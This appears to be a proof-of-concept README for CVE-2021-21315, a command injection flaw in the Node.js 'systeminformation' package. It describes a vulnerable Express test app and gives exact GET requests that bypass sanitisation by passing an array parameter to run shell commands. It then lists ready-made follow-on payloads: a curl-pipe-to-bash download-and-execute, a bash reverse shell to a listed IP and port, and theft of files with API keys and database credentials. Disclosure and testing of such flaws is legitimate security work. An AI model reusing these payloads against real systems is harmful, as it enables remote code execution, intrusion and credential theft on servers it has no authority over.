This is Proof of Concept for CVE-2021-21315 which affects The System Information Library for Node.JS (npm package "systeminformation"). npmjs.com/systeminformation
"be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected. "
Because it's not well explained vulnerability (in my opinion), i decided to code small app basing on vulnerable version of systeminformation. The PoC contains:
- Test app made in Node.js, using express and vulnerable systeminformation
- Simple testing payload to create .txt file on affected machine
Steps to reproduce:
- Run application on Linux server environment
- Make GET request to site.com/api/getServices?name=nginx (nginx is just example)
- Now try to send request like this: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)
This will fail, because of string sanitization:
As said in CVE details "sanitization works as expected, reject any arrays [...]"
- Now try to send request: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) This time, if you take a look at "name" value, it was not sanitized - success ! Let's see if command was executed
Success! Our command got executed. Of course no one cares about "pwn.txt", but potential attacker can:
- Upload internal files, like index.js (core of our application, with potential api keys, database connection string and others) or other
- Download and execute scripts - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
- Reverse shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
- Kill processes (you can kill our test node application aswell)
- Even more evil things....
"Command injection" sounds innocent, but it may have huge impact if certain conditions are meet
Problem was fixed in version 5.3.1 of "systeminformation" Creditis to https://www.huntr.dev/users/EffectRenan (He found vulnerability, however in my opinion, his "Poc" did not show real world impact)
This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.